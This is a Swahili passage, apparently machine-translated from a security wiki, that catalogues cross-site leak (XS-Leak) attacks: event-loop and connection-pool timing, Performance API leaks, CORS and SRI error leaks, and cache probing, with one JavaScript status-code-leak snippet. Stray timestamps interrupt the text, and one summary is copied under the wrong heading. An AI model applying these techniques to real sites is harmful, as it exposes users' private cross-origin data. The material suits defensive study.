JavaScript inafanya kazi kwenye [mfano wa mzunguko wa tukio lenye wima moja](https://developer.mozilla.org/en-US/docs/Web/JavaScript/EventLoop), ikimaanisha kwamba **inaweza kutekeleza kazi moja kwa wakati mmoja**. Tabia hii inaweza kutumiwa kwa kipimo cha **muda gani wa kutekeleza kanuni kutoka asili tofauti**. Mshambuliaji anaweza kupima muda wa utekelezaji wa kanuni yao katika mzunguko wa tukio kwa kuendelea kutuma matukio na mali zilizowekwa. Matukio haya yatafanywa wakati dimbwi la matukio linapokuwa tupu. Ikiwa asili zingine pia zinatuma matukio kwa dimbwi sawa, **mshambuliaji anaweza kufikiria muda unachukua matukio ya nje kutekelezwa kwa kusimamia kucheleweshwa katika utekelezaji wa kazi zao wenyewe**. Mbinu hii ya kufuatilia mzunguko wa tukio kwa kuchelewesha inaweza kufunua muda wa utekelezaji wa kanuni kutoka asili tofauti, ikifichua habari nyeti.
2022-06-28 15:48:43 +00:00
{% hint style="warning" %}
Katika kipimo cha utekelezaji, inawezekana **kufuta** **faktori za mtandao** ili kupata **vipimo sahihi zaidi**. Kwa mfano, kwa kupakia rasilimali zinazotumiwa na ukurasa kabla ya kuzipakia.
2022-06-28 15:48:43 +00:00
{% endhint %}
### Mzunguko wa Tukio Ulio na Shughuli <a href="#busy-event-loop" id="busy-event-loop"></a>
2022-06-28 15:48:43 +00:00
2024-02-11 02:13:58 +00:00
* **Njia za Kuingiza**:
* **Tofauti Inayoweza Kugundulika**: Kupima wakati (kwa ujumla kutokana na Yaliyomo kwenye Ukurasa, Nambari ya Hali)
2024-02-11 02:13:58 +00:00
* **Maelezo Zaidi**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop)
* **Muhtasari:** Mbinu moja ya kupima muda wa utekelezaji wa shughuli ya wavuti inajumuisha kuzuia kwa makusudi mzunguko wa tukio la wima na kisha kupima **muda unachochukua mzunguko wa tukio kuwa upatikana tena**. Kwa kuingiza shughuli ya kuzuia (kama hesabu ndefu au wito wa API wa moja kwa moja) kwenye mzunguko wa tukio, na kufuatilia muda unachochukua kwa kanuni inayofuata kuanza utekelezaji, mtu anaweza kufikiria muda wa kazi zilizokuwa zikitekelezwa katika mzunguko wa tukio wakati wa kipindi cha kuzuia. Mbinu hii inatumia asili moja ya mzunguko wa tukio wa JavaScript, ambapo kazi zinatekelezwa kwa mpangilio, na inaweza kutoa ufahamu juu ya utendaji au tabia ya shughuli zingine zinazoshiriki mnyororo sawa.
2024-02-11 02:13:58 +00:00
* **Mfano wa Kanuni**:
2022-06-28 15:48:43 +00:00
Faida kubwa ya mbinu ya kupima muda wa utekelezaji kwa kufunga mzunguko wa tukio ni uwezo wake wa kuzunguka **Kizuizi cha Tovuti**. **Kizuizi cha Tovuti** ni kipengele cha usalama kinachotenganisha tovuti tofauti katika michakato tofauti, lengo likiwa kuzuia tovuti zenye nia mbaya kufikia moja kwa moja data nyeti kutoka kwa tovuti nyingine. Hata hivyo, kwa kuathiri muda wa utekelezaji wa asili nyingine kupitia mzunguko wa tukio ulioshirikiwa, mshambuliaji anaweza kutoa habari kwa njia isiyo ya moja kwa moja kuhusu shughuli za asili hiyo. Mbinu hii haitegemei ufikiaji wa moja kwa moja wa data ya asili nyingine bali inachunguza athari ya shughuli za asili hiyo kwenye mzunguko wa tukio ulioshirikiwa, hivyo kuepuka vizuizi vya kinga vilivyowekwa na **Kizuizi cha Tovuti**.
2022-06-28 15:48:43 +00:00
{% hint style="warning" %}
Katika kipimo cha utekelezaji, inawezekana **kufuta** **faktori za mtandao** ili kupata **vipimo sahihi zaidi**. Kwa mfano, kwa kupakia rasilimali zinazotumiwa na ukurasa kabla ya kuzipakia.
2022-06-28 15:48:43 +00:00
{% endhint %}
2024-02-11 02:13:58 +00:00
### Dimbwi la Uunganisho
2022-06-28 15:48:43 +00:00
* **Njia za Kuingiza**: Maombi ya JavaScript
* **Tofauti Inayoweza Kugundulika**: Kupima wakati (kwa ujumla kutokana na Yaliyomo kwenye Ukurasa, Nambari ya Hali)
2024-02-11 02:13:58 +00:00
* **Maelezo Zaidi**: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
* **Muhtasari:** Mshambuliaji anaweza kufunga soketi zote isipokuwa 1, kupakia wavuti ya lengo na wakati huo huo kupakia ukurasa mwingine, muda mpaka ukurasa wa mwisho uanze kupakia ni muda ulioutumia ukurasa wa lengo kupakia.
2024-02-11 02:13:58 +00:00
* **Mfano wa Kanuni**:
2022-06-28 15:48:43 +00:00
2022-10-12 00:12:06 +00:00
{% content-ref url="xs-search/connection-pool-example.md" %}
[connection-pool-example.md](xs-search/connection-pool-example.md)
{% endcontent-ref %}
Vivinjari hutumia soketi kwa mawasiliano na seva, lakini kutokana na rasilimali ndogo za mfumo wa uendeshaji na vifaa, **vivinjari wanalazimika kuweka kikomo** idadi ya soketi zinazoweza kufanya kazi kwa wakati mmoja. Wadukuzi wanaweza kutumia kikomo hiki kupitia hatua zifuatazo:
1. Kuthibitisha kikomo cha soketi cha kivinjari, kwa mfano, soketi 256 za ulimwengu.
2. Kuchukua soketi 255 kwa muda mrefu kwa kuanzisha maombi 255 kwa wenyeji mbalimbali, yaliyoundwa kudumisha mawasiliano wazi bila kukamilika.
3. Kutumia soketi ya 256 kutuma ombi kwa ukurasa wa lengo.
4. Jaribu ombi la 257 kwa mwenyeji tofauti. Kwa kuwa soketi zote zinatumika (kulingana na hatua 2 na 3), ombi hili litawekwa kwenye foleni hadi soketi iweze kupatikana. Kuchelewesha kabla ya ombi hili kuendelea hutoa mshambuliaji habari ya wakati kuhusu shughuli za mtandao zinazohusiana na soketi ya 256 (soketi ya ukurasa wa lengo). Ufahamu huu unawezekana kwa sababu soketi 255 kutoka hatua 2 bado zinatumika, ikimaanisha soketi yoyote inayopatikana mpya lazima iwe ile iliyotolewa kutoka hatua 3. Muda uliochukuliwa kwa soketi ya 256 kuwa inapatikana moja kwa moja unahusishwa na muda uliohitajika kwa ombi kwa ukurasa wa lengo kukamilika.
2024-02-06 03:10:38 +00:00
Kwa maelezo zaidi: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
2024-02-11 02:13:58 +00:00
## Mbinu za API ya Utendaji
2022-06-28 15:48:43 +00:00
[`API ya Utendaji`](https://developer.mozilla.org/en-US/docs/Web/API/Performance) hutoa ufahamu kuhusu vipimo vya utendaji wa maombi ya wavuti, ukiboreshwa zaidi na [`API ya Ufuatiliaji wa Rasilmali`](https://developer.mozilla.org/en-US/docs/Web/API/Resource\_Timing\_API). API ya Ufuatiliaji wa Rasilmali inawezesha ufuatiliaji wa nyakati za maombi ya mtandao kwa undani, kama vile muda wa maombi. Hasa, wakati seva zinajumuisha kichwa cha `Timing-Allow-Origin: *` katika majibu yao, data ziada kama ukubwa wa uhamisho na muda wa kutafuta kikoa inapatikana.
2022-06-27 23:34:20 +00:00
Udhaifu huu wa data unaweza kupatikana kupitia njia kama [`performance.getEntries`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntries) au [`performance.getEntriesByName`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntriesByName), ikitoa mtazamo kamili wa habari zinazohusiana na utendaji. Zaidi ya hayo, API hii inawezesha kupima nyakati za utekelezaji kwa kuhesabu tofauti kati ya alama za wakati zilizopatikana kutoka kwa [`performance.now()`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now). Hata hivyo, ni muhimu kutambua kwamba kwa baadhi ya operesheni katika vivinjari kama Chrome, usahihi wa `performance.now()` unaweza kuwa umepunguzwa hadi milisekunde, ambayo inaweza kuathiri ufanisi wa vipimo vya wakati.
2022-06-27 23:34:20 +00:00
Zaidi ya vipimo vya wakati, API ya Utendaji inaweza kutumika kwa ufahamu unaohusiana na usalama. Kwa mfano, uwepo au kutokuwepo kwa kurasa katika kitu cha `utendaji` katika Chrome kunaweza kuashiria matumizi ya `X-Frame-Options`. Hasa, ikiwa ukurasa umefungwa kutorejelezwa kwenye fremu kutokana na `X-Frame-Options`, hautarekodiwa katika kitu cha `utendaji`, kutoa ishara ndogo kuhusu sera za urekebishaji wa ukurasa.
2022-06-27 23:34:20 +00:00
### Kuvuja kwa Kosa
2022-06-27 23:34:20 +00:00
* **Njia za Kujumuishwa**: Fremu, Elementi za HTML
* **Tofauti Inayoweza Kugundulika**: Kodi ya Hali
2024-02-11 02:13:58 +00:00
* **Maelezo Zaidi**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
* **Muhtasari:** Ombi linalosababisha makosa halitaiunda kuingia ya wakati wa rasilmali.
* **Mfano wa Kodi**: [https://xsinator.com/testing.html#Performance%20API%20Error%20Leak](https://xsinator.com/testing.html#Performance%20API%20Error%20Leak)
2022-06-27 23:34:20 +00:00
Inawezekana **kutofautisha kati ya kodi za hali ya majibu ya HTTP** kwa sababu maombi yanayosababisha **kosa** hayaiundi kuingia ya utendaji.
2022-06-27 23:34:20 +00:00
### Kosa la Kupakia Upya Mtindo
2022-06-27 23:34:20 +00:00
* **Njia za Kujumuishwa**: Elementi za HTML
* **Tofauti Inayoweza Kugundulika**: Kodi ya Hali
2024-02-11 02:13:58 +00:00
* **Maelezo Zaidi**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
* **Muhtasari:** Kutokana na kasoro ya kivinjari, maombi yanayosababisha makosa hupakiwa mara mbili.
* **Mfano wa Kodi**: [https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak](https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak)
2022-06-27 23:34:20 +00:00
Katika mbinu iliyotangulia, pia iligunduliwa matukio mawili ambapo kasoro za kivinjari katika GC husababisha **rasilmali kupakiwa mara mbili wanaposhindwa kupakia**. Hii itasababisha kuingia nyingi katika API ya Utendaji na hivyo inaweza kugunduliwa.
2022-06-27 23:34:20 +00:00
### Kosa la Kufusisha Ombi
2022-06-27 23:34:20 +00:00
* **Njia za Kujumuishwa**: Elementi za HTML
* **Tofauti Inayoweza Kugundulika**: Kodi ya Hali
2024-02-11 02:13:58 +00:00
* **Maelezo Zaidi**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
* **Muhtasari:** Maombi yanayosababisha kosa hawezi kufusishwa.
* **Mfano wa Kodi**: [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak)
2022-06-27 23:34:20 +00:00
Mbinu hii ilipatikana kwenye jedwali katika karatasi iliyotajwa lakini hakukuwa na maelezo ya mbinu hiyo. Hata hivyo, unaweza kupata msimbo wa chanzo unachunguza hilo katika [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak)
2022-06-27 23:34:20 +00:00
2024-02-11 02:13:58 +00:00
### Kuvuja kwa Ukurasa Tasa
2022-06-27 23:34:20 +00:00
* **Njia za Kujumuishwa**: Fremu
2024-02-11 02:13:58 +00:00
* **Tofauti Inayoweza Kugundulika**: Yaliyomo ya Ukurasa
* **Maelezo Zaidi**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
* **Muhtasari:** Majibu yasiyo na yaliyomo hayaiundi kuingia ya wakati wa rasilmali.
* **Mfano wa Kodi**: [https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak](https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak)
2022-06-27 23:34:20 +00:00
Mshambuliaji anaweza kugundua ikiwa ombi limeleta mwili wa majibu wa HTTP ulio tasa kwa sababu **kurasa tasa haziumbi kuingia ya utendaji katika baadhi ya vivinjari**.
2022-06-27 23:34:20 +00:00
2024-02-11 02:13:58 +00:00
### **Kuvuja kwa XSS-Auditor**
2022-06-27 23:34:20 +00:00
* **Njia za Kujumuishwa**: Fremu
2024-02-11 02:13:58 +00:00
* **Tofauti Inayoweza Kugundulika**: Yaliyomo ya Ukurasa
* **Maelezo Zaidi**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
* **Muhtasari:** Kwa kutumia XSS Auditor katika Uthibitishaji wa Usalama, wachimbuzi wanaweza kugundua vipengele maalum vya ukurasa kwa kuchunguza mabadiliko katika majibu wakati mizigo iliyoundwa inachochea mbinu ya kuchuja ya msimbo wa kudhibiti wa auditor.
* **Mfano wa Kodi**: [https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak](https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak)
2022-06-27 23:34:20 +00:00
Katika Uthibitishaji wa Usalama (SA), XSS Auditor, awali iliyokusudiwa kuzuia mashambulizi ya Kuvuka-Tovuti (XSS), inaweza kwa kushangaza kutumika kuvuja taarifa nyeti. Ingawa kipengele hiki kilichojengwa kimeondolewa kutoka Google Chrome (GC), bado ipo katika SA. Mwaka wa 2013, Braun na Heiderich walidhihirisha kuwa XSS Auditor inaweza kuzuia vibaya hati halali, ikisababisha matokeo sahihi ya uwongo. Kujenga juu ya hili, wachunguzi walibuni mbinu za kutoa taarifa na kugundua yaliyomo maalum kwenye kurasa za asili-nyingine, dhana inayoitwa XS-Leaks, iliripotiwa awali na Terada na kufafanuliwa na Heyes katika chapisho la blogu. Ingawa mbinu hizi zilikuwa maalum kwa XSS Auditor katika GC, iligundulika kwamba katika SA, kurasa zilizozuiwa na XSS Auditor hazizalishi kuingia katika API ya Utendaji, kufunua njia ambayo taarifa nyeti bado inaweza kuvuja.
2022-06-27 23:34:20 +00:00
2024-02-11 02:13:58 +00:00
### Kuvuja kwa X-Frame
* **Njia za Kujumuishwa**: Fremu
* **Tofauti Inayoweza Kugundulika**: Kichwa
* **Maelezo Zaidi**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2), [https://xsleaks.github.io/xsleaks/examples/x-frame/index.html](https://xsleaks.github.io/xsleaks/examples/x-frame/index.html), [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-x-frame-options](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-x-frame-options)
* **Muhtasari:** Rasilmali yenye kichwa cha X-Frame-Options haitoi kuingia ya wakati wa rasilmali.
* **Mfano wa Kodi**: [https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak](https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak)
Ikiwa ukurasa **haikubali** kurekebishwa katika **fremu** haitaiunda kuingia ya utendaji. Kama matokeo, mshambuliaji anaweza kugundua kichwa cha majibu **`X-Frame-Options`**.\
Hali kama hiyo hutokea ikiwa unatumia **lebo ya kujumlisha.**
### Uchunguzi wa Upakuzi
* **Njia za Kujumuishwa**: Fremu
* **Tofauti Inayoweza Kugundulika**: Kichwa
* **Maelezo Zaidi**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
* **Muhtasari:** Upakuzi hauzalishi kuingia ya wakati wa rasilmali katika API ya Utendaji.
* **Mfano wa Kodi**: [https://xsinator.com/testing.html#Performance%20API%20Download%20Detection](https://xsinator.com/testing.html#Performance%20API%20Download%20Detection)
Kama ilivyoelezwa katika XS-Leak, **rasilmali inayopakuliwa** kwa sababu ya kichwa cha ContentDisposition, pia **haizalishi kuingia ya utendaji**. Mbinu hii inafanya kazi katika vivinjari vyote vikuu.
2024-02-11 02:13:58 +00:00
### Mwanzo wa Kuelekeza Kuvuja
2022-06-27 23:34:20 +00:00
2024-02-11 02:13:58 +00:00
* **Njia za Kuingiza**: Fremu
* **Tofauti Inayoweza Kugundulika**: Kuelekeza
* **Maelezo Zaidi**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
* **Muhtasari:** Kuingia kwa wakati wa rasilimali hufichua wakati wa kuanza kwa kuelekeza.
2024-02-11 02:13:58 +00:00
* **Mfano wa Kanuni**: [https://xsinator.com/testing.html#Redirect%20Start%20Leak](https://xsinator.com/testing.html#Redirect%20Start%20Leak)
2022-06-27 23:34:20 +00:00
Tuligundua kisa kimoja cha XS-Leak kinachotumia tabia ya baadhi ya vivinjari ambavyo hurekodi maelezo mengi sana kwa maombi ya asili tofauti. Kiwango kinatambua sehemu ya sifa ambazo zinapaswa kuwekwa kama sifuri kwa rasilimali za asili tofauti. Hata hivyo, katika **SA** inawezekana kugundua ikiwa mtumiaji ame**elekezwa** na ukurasa lengwa, kwa kuuliza **API ya Utendaji** na kuangalia data ya wakati wa **kuanza kwa kuelekeza**.
2022-06-27 23:34:20 +00:00
### Kuvuja kwa Kuelekeza wa Muda
2022-06-27 23:34:20 +00:00
* **Njia za Kuingiza**: API ya Kupata
2024-02-11 02:13:58 +00:00
* **Tofauti Inayoweza Kugundulika**: Kuelekeza
* **Maelezo Zaidi**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
* **Muhtasari:** Muda wa kuingia wa wakati unakuwa hasi wakati kuna kuelekeza.
2024-02-11 02:13:58 +00:00
* **Mfano wa Kanuni**: [https://xsinator.com/testing.html#Duration%20Redirect%20Leak](https://xsinator.com/testing.html#Duration%20Redirect%20Leak)
2022-06-27 23:34:20 +00:00
Katika GC, **muda** wa maombi ambayo matokeo yake ni **kuelekeza** ni **hasi** na hivyo inaweza **kutofautishwa** na maombi ambayo hayasababishi kuelekeza.
2022-06-27 23:34:20 +00:00
2024-02-11 02:13:58 +00:00
### Kuvuja kwa CORP
2022-06-27 23:34:20 +00:00
2024-02-11 02:13:58 +00:00
* **Njia za Kuingiza**: Fremu
* **Tofauti Inayoweza Kugundulika**: Kichwa
* **Maelezo Zaidi**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
* **Muhtasari:** Rasilimali zilizolindwa na CORP haziumbi viingilio vya wakati wa rasilimali.
2024-02-11 02:13:58 +00:00
* **Mfano wa Kanuni**: [https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak](https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak)
2022-06-27 23:34:20 +00:00
Katika baadhi ya kesi, kuingia cha **nextHopProtocol** kinaweza kutumika kama mbinu ya kuvuja. Katika GC, wakati **kichwa cha CORP** kinawekwa, nextHopProtocol itakuwa **tupu**. Tafadhali kumbuka kuwa SA haitaumba kuingilio cha utendaji kabisa kwa rasilimali zilizo na CORP.
2022-06-27 23:34:20 +00:00
2024-02-11 02:13:58 +00:00
### Mfanyakazi wa Huduma
2022-06-27 23:34:20 +00:00
2024-02-11 02:13:58 +00:00
* **Njia za Kuingiza**: Fremu
* **Tofauti Inayoweza Kugundulika**: Matumizi ya API
* **Maelezo Zaidi**: [https://www.ndss-symposium.org/ndss-paper/awakening-the-webs-sleeper-agents-misusing-service-workers-for-privacy-leakage/](https://www.ndss-symposium.org/ndss-paper/awakening-the-webs-sleeper-agents-misusing-service-workers-for-privacy-leakage/)
* **Muhtasari:** Kugundua ikiwa mfanyakazi wa huduma amesajiliwa kwa asili fulani.
* **Mfano wa Kanuni**:
2022-06-27 23:34:20 +00:00
Mafanyakazi wa huduma ni muktadha wa skripti ulioendeshwa na matukio unaofanya kazi kwa asili. Hufanya kazi nyuma ya ukurasa wa wavuti na inaweza kuingilia, kubadilisha, na **kukusanya rasilimali** ili kuunda programu ya wavuti ya nje ya mtandao.\
Ikiwa **rasilimali iliyohifadhiwa** na **mfanyakazi wa huduma** inafikiwa kupitia **fremu**, rasilimali ita**pakiwa kutoka kwa akiba ya mfanyakazi wa huduma**.\
Ili kugundua ikiwa rasilimali ilipakiwa kutoka kwa akiba ya mfanyakazi wa huduma, **API ya Utendaji** inaweza kutumika.\
Hii pia inaweza kufanywa na shambulio la Wakti (angalia karatasi kwa maelezo zaidi).
2022-06-27 23:34:20 +00:00
2024-02-11 02:13:58 +00:00
### Akiba
2022-06-28 12:20:37 +00:00
* **Njia za Kuingiza**: API ya Kupata
* **Tofauti Inayoweza Kugundulika**: Wakti
2024-02-11 02:13:58 +00:00
* **Maelezo Zaidi**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources)
* **Muhtasari:** Inawezekana kuchunguza ikiwa rasilimali imewekwa kwenye akiba.
2024-02-11 02:13:58 +00:00
* **Mfano wa Kanuni**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources), [https://xsinator.com/testing.html#Cache%20Leak%20(POST)](https://xsinator.com/testing.html#Cache%20Leak%20\(POST\))
2022-06-28 12:20:37 +00:00
Kwa kutumia [API ya Utendaji](xs-search.md#performance-api) inawezekana kuchunguza ikiwa rasilimali imehifadhiwa kwenye akiba.
2022-06-28 15:48:43 +00:00
2024-02-11 02:13:58 +00:00
### Muda wa Mtandao
2022-06-28 15:48:43 +00:00
* **Njia za Kuingiza**: API ya Kupata
2024-02-11 02:13:58 +00:00
* **Tofauti Inayoweza Kugundulika**: Yaliyomo ya Ukurasa
* **Maelezo Zaidi**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration)
* **Muhtasari:** Inawezekana kupata muda wa mtandao wa ombi kutoka kwa API ya `utendaji`.
* **Mfano wa Kanuni**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration)
2022-06-28 15:48:43 +00:00
## Mbinu ya Ujumbe wa Hitilafu
2022-06-28 15:48:43 +00:00
### Hitilafu ya Vyombo vya Habari
2022-06-28 17:21:21 +00:00
2024-02-11 02:13:58 +00:00
* **Njia za Kuingiza**: Vipengele vya HTML (Video, Sauti)
* **Tofauti Inayoweza Kugundulika**: Kodi ya Hali
2024-02-11 02:13:58 +00:00
* **Maelezo Zaidi**: [https://bugs.chromium.org/p/chromium/issues/detail?id=828265](https://bugs.chromium.org/p/chromium/issues/detail?id=828265)
* **Muhtasari:** Katika Firefox inawezekana kuvuja kwa usahihi wa Kodi ya Hali ya ombi la asili tofauti.
2024-02-11 02:13:58 +00:00
* **Mfano wa Kanuni**: [https://jsbin.com/nejatopusi/1/edit?html,css,js,output](https://jsbin.com/nejatopusi/1/edit?html,css,js,output)
2022-06-28 17:21:21 +00:00
```javascript
// Code saved here in case it dissapear from the link
// Based on MDN MediaError example: https://mdn.github.io/dom-examples/media/mediaerror/
window.addEventListener("load", startup, false);
function displayErrorMessage(msg) {
2024-02-11 02:13:58 +00:00
document.getElementById("log").innerHTML += msg;
2022-06-28 17:21:21 +00:00
}
function startup() {
2024-02-11 02:13:58 +00:00
let audioElement = document.getElementById("audio");
// "https://mdn.github.io/dom-examples/media/mediaerror/assets/good.mp3";
document.getElementById("startTest").addEventListener("click", function() {
audioElement.src = document.getElementById("testUrl").value;
}, false);
// Create the event handler
var errHandler = function() {
let err = this.error;
let message = err.message;
let status = "";
// Chrome error.message when the request loads successfully: "DEMUXER_ERROR_COULD_NOT_OPEN: FFmpegDemuxer: open context failed"
// Firefox error.message when the request loads successfully: "Failed to init decoder"
if((message.indexOf("DEMUXER_ERROR_COULD_NOT_OPEN") != -1) || (message.indexOf("Failed to init decoder") != -1)){
status = "Success";
}else{
status = "Error";
}
displayErrorMessage("<strong>Status: " + status + "</strong> (Error code:" + err.code + " / Error Message: " + err.message + ")<br>");
};
audioElement.onerror = errHandler;
2022-06-28 17:21:21 +00:00
}
```
### CORS Kosa
2022-06-27 23:34:20 +00:00
* **Mbinu za Uingizaji**: Fetch API
2024-02-11 02:13:58 +00:00
* **Tofauti Inayoweza Kugundulika**: Kichwa
* **Maelezo Zaidi**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.3)
* **Muhtasari:** Katika Madai ya Usalama (SA), ujumbe wa kosa la CORS huweka wazi URL kamili ya maombi yaliyopewa mwelekeo.
2024-02-11 02:13:58 +00:00
* **Mfano wa Kanuni**: [https://xsinator.com/testing.html#CORS%20Error%20Leak](https://xsinator.com/testing.html#CORS%20Error%20Leak)
2022-06-27 23:34:20 +00:00
Mbinu hii inamwezesha muhalifu **kuchimbua marudio ya tovuti ya mwelekeo wa mwelekeo** kwa kutumia jinsi vivinjari vilivyotengenezwa kwa Webkit vinavyoshughulikia maombi ya CORS. Hasa, wakati maombi yaliyoruhusiwa na CORS yanatumwa kwa tovuti ya lengo ambayo inatoa mwelekeo kulingana na hali ya mtumiaji na kivinjari kisha kukataa maombi, **URL kamili ya lengo la mwelekeo** inafunuliwa ndani ya ujumbe wa kosa. Udhaifu huu si tu unafunua ukweli wa mwelekeo lakini pia unafichua mwisho wa mwelekeo na **parameta nyeti za utafutaji** inaweza kuwa nayo.
2022-06-27 23:34:20 +00:00
2024-02-11 02:13:58 +00:00
### Kosa la SRI
2022-06-27 23:34:20 +00:00
* **Mbinu za Uingizaji**: Fetch API
2024-02-11 02:13:58 +00:00
* **Tofauti Inayoweza Kugundulika**: Kichwa
* **Maelezo Zaidi**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.3)
* **Muhtasari:** Katika Madai ya Usalama (SA), ujumbe wa kosa la CORS huweka wazi URL kamili ya maombi yaliyopewa mwelekeo.
2024-02-11 02:13:58 +00:00
* **Mfano wa Kanuni**: [https://xsinator.com/testing.html#SRI%20Error%20Leak](https://xsinator.com/testing.html#SRI%20Error%20Leak)
2022-06-27 23:34:20 +00:00
Muhalifu anaweza kutumia **ujumbe mrefu wa kosa** kudokeza ukubwa wa majibu ya mwelekeo wa msingi. Hii inawezekana kutokana na mbinu ya Uadilifu wa Subresource (SRI), ambayo hutumia sifa ya uadilifu kuthibitisha kuwa rasilimali zilizopakuliwa, mara nyingi kutoka kwa CDNs, hazijabadilishwa. Ili SRI ifanye kazi kwenye rasilimali za mwelekeo wa msingi, lazima ziwe **zilizoruhusiwa na CORS**; vinginevyo, hazitahusishwa na ukaguzi wa uadilifu. Katika Madai ya Usalama (SA), kama kosa la XS-Leak la CORS, ujumbe wa kosa unaweza kukamatwa baada ya ombi la kupakua na sifa ya uadilifu linaposhindwa. Wadukuzi wanaweza kwa makusudi **kuzidisha kosa hili** kwa kutoa **thamani bandia ya hash** kwa sifa ya uadilifu ya ombi lolote. Katika SA, ujumbe wa kosa unaofuata kwa bahati mbaya unafunua urefu wa yaliyomo kwenye rasilimali iliyotakiwa. Kuvuja kwa habari hii inamruhusu muhalifu kugundua tofauti katika ukubwa wa majibu, ikifungua njia kwa mashambulizi ya XS-Leak yenye utata.
2022-06-28 12:20:37 +00:00
### Kuki
2022-06-28 12:20:37 +00:00
* **Mbinu za Uingizaji**: Fremu, Pop-ups
* **Tofauti Inayoweza Kugundulika**: Yaliyomo kwenye Ukurasa
2024-02-11 02:13:58 +00:00
* **Maelezo Zaidi**: [https://xsleaks.dev/docs/attacks/cache-probing/#cache-probing-with-error-events](https://xsleaks.dev/docs/attacks/cache-probing/#cache-probing-with-error-events), [https://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html](https://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html)
* **Muhtasari:** Futa faili kutoka kwa cache. Fungua ukurasa wa lengo na uangalie ikiwa faili iko kwenye cache.
2024-02-11 02:13:58 +00:00
* **Mfano wa Kanuni:**
2022-06-28 12:20:37 +00:00
Vivinjari vinaweza kutumia cache moja ya pamoja kwa tovuti zote. Bila kujali asili yao, inawezekana kudai ikiwa ukurasa wa lengo umetaka **faili maalum**.
2022-06-28 12:20:37 +00:00
Ikiwa ukurasa unapakia picha tu ikiwa mtumiaji ameingia, unaweza **kufuta** **rasilimali** (hivyo haipo tena kwenye cache ikiwa ilikuwa, angalia viungo vya maelezo zaidi), **fanya ombi** ambalo lingeweza kupakia rasilimali hiyo na jaribu kupakia rasilimali **kwa ombi baya** (kwa mfano, kutumia kichwa cha kurejelea kirefu). Ikiwa upakiaji wa rasilimali **haukusababisha kosa lolote**, ni kwa sababu ilikuwa **imehifadhiwa**.
2022-06-28 12:20:37 +00:00
2024-02-11 02:13:58 +00:00
### Mwongozo wa CSP
2022-06-28 12:20:37 +00:00
* **Mbinu za Uingizaji**: Fremu
* **Tofauti Inayoweza Kugundulika**: Kichwa
* **Maelezo Zaidi**: [https://bugs.chromium.org/p/chromium/issues/detail?id=1105875](https://bugs.chromium.org/p/chromium/issues/detail?id=1105875)
* **Muhtasari:** Mwongozo wa kichwa wa CSP unaweza kuchunguzwa kwa kutumia sifa ya fremu ya CSP, ikifunua maelezo ya sera.
* **Mfano wa Kanuni**: [https://xsinator.com/testing.html#CSP%20Directive%20Leak](https://xsinator.com/testing.html#CSP%20Directive%20Leak)
